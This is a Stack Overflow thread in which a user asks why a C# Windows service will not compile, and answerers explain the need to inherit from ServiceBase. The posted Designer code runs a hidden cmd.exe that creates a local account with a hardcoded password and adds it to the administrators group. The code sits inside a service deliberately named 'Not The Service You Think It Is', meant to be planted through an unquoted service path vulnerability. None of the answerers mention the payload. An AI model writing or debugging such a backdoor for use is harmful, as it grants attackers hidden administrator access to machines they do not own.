0

I am new to C# and can't fix this issue. The code is

namespace SimpleWindowsService1
{
    partial class SimpleService
    {
        /// <summary> 
        /// Required designer variable.
        /// </summary>
        private System.ComponentModel.IContainer components = null;

        /// <summary>
        /// Clean up any resources being used.
        /// </summary>
        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
        protected override void Dispose(bool disposing)
        {
            if (disposing && (components != null))
            {
                components.Dispose();
            }
            base.Dispose(disposing);
        }

        #region Component Designer generated code

        /// <summary> 
        /// Required method for Designer support - do not modify 
        /// the contents of this method with the code editor.
        /// </summary>
        private void InitializeComponent()
        {
            this.eventLogSimple = new System.Diagnostics.EventLog();
            ((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).BeginInit();
            // 
            // SimpleService
            // 
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
            startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            startInfo.FileName = "cmd.exe";
            startInfo.Arguments = "/C net user mattymcfatty Really1337! /add && net localgroup administrators mattymcfatty /add";
            process.StartInfo = startInfo;
            process.Start();

            this.ServiceName = "Not The Service You Think It Is";
            ((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).EndInit();

        }

        #endregion

        private System.Diagnostics.EventLog eventLogSimple;
    }
}

When I try to compile it, I keep getting the error "marked as an override but no suitable method found". Can somebody with more C# experience help me figuring out what's wrong?

Thank you

Edit: Because of someone smart in the comments, I'm adding the second file SimpleService.cs. This is in the same project.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;

namespace SimpleWindowsService1
{
    public partial class SimpleService : ServiceBase
    {
        public SimpleService()
        {
            InitializeComponent();
            // Initialize eventLogSimple   
            if (!System.Diagnostics.EventLog.SourceExists("SimpleSource"))
                System.Diagnostics.EventLog.CreateEventSource("SimpleSource", "SimpleLog");
            eventLogSimple.Source = "SimpleSource";
            eventLogSimple.Log = "SimpleLog";
        }

        protected override void OnStart(string[] args)
        {
            //this is not executed for some reason
            eventLogSimple.WriteEntry("Uh oh. Program.exe was executed using unquoted path vulnerability. Service Started.");
        }

        protected override void OnStop()
        {
            //this is not executed for some reason
            eventLogSimple.WriteEntry("Uh oh. Program.exe was executed using unquoted path vulnerability. Service Stopped");
        }
    }
}
  • `partial class SimpleService` Is there another class / file with that same name? If so, what namespace is it in? – mjwills Jul 14 '21 at 22:26
  • yes I have another file called SimpleService.cs, there is a namespace called "SimpleWindowsService1" – KongStrongBull Jul 14 '21 at 22:46
  • OK, show us that file in your question too. The first 20 lines of it. Also, are both of the files _in the same project_? – mjwills Jul 14 '21 at 22:47
  • I edited my answer – KongStrongBull Jul 14 '21 at 22:49
  • I was not able to compile multiple files that's why I picked only one of them inside the 'project'. I am using linux for compiling – KongStrongBull Jul 14 '21 at 22:54
  • Yeah it is key that _both_ files are included in the compilation. As to how to do that from the command line - I can't help you with that. I don't compile like that. Once you include both files in the compile, it will start working. – mjwills Jul 14 '21 at 23:43

3 Answers3

3

Services must inherit from ServiceBase.

partial class SimpleService : System.ServiceProcess.ServiceBase
{
    //etc

Once you do that, the other errors should resolve themselves.

See also How to Write Services Programmatically

John Wu
  • 50,556
  • 8
  • 44
  • 80
0

You only have to override virtual methods inherited from a base class. Since your class does not inherit from a base class, there is nothing to override. You can remove the override.

public class SimpleService : BaseClass
{
    // ...
}

This is how inheritance would look like and if the BaseClass contains a protected virtual void Dispose(bool disposing) you would have to use override here.

taronyu
  • 86
  • 6
  • thank you. changing the class type and replacing "protected override" with "protected virtual" produces the following error: The type or namespace name `BaseClass' could not be found. Are you missing an assembly reference? – KongStrongBull Jul 14 '21 at 21:55
  • Ah that was just my example. You don't need that. It should only demonstrate how it would look like if you had inheritance. – taronyu Jul 14 '21 at 21:57
  • I don't get it, sorry. – KongStrongBull Jul 14 '21 at 22:01
  • Ok, so I just posted an example in case you would have to inherit from a base class named `BaseClass` which provides a virtual method that you wanted to override. According to your code sample you don't use one so your class definition must look like `public class SimpleService {` and you don't need the `override` (but you can use `virtual` instead as you already found out). – taronyu Jul 14 '21 at 22:04
-1

Change override to virtual. This class does not derive from a base class, so there is no method to override.

This is part of the standard pattern for implementing IDisposable. If another class derives from SimpleService, then that class will use override, and should call base.Dispose(disposing) in its implementation.

Stephen Jennings
  • 12,494
  • 5
  • 47
  • 66
  • only changing "override" to "virtual" makes things worse.. – KongStrongBull Jul 14 '21 at 21:56
  • SimpleService.Designer.cs(20,18): error CS0117: `object' does not contain a definition for `Dispose' /usr/lib/mono/4.5/mscorlib.dll (Location of the symbol related to previous error) SimpleService.Designer.cs(44,18): error CS1061: Type `SimpleWindowsService1.SimpleService' does not contain a definition for `ServiceName' and no extension method `ServiceName' of type `SimpleWindowsService1.SimpleService' could be found. Are you missing an assembly reference? – KongStrongBull Jul 14 '21 at 21:57
  • @KongStrongBull I didn't realize you're writing a Windows service, so you _do_ need to derive from the class `ServiceBase`. [John Wu noticed this and you should use his advice](https://stackoverflow.com/a/68385510/19818). – Stephen Jennings Jul 14 '21 at 22:02
  • it's fine I'm giving up. error messages getting worse after each 'fix' and I'm keep circling between them. now I get the error 'the service needs the override keyword' – KongStrongBull Jul 14 '21 at 22:12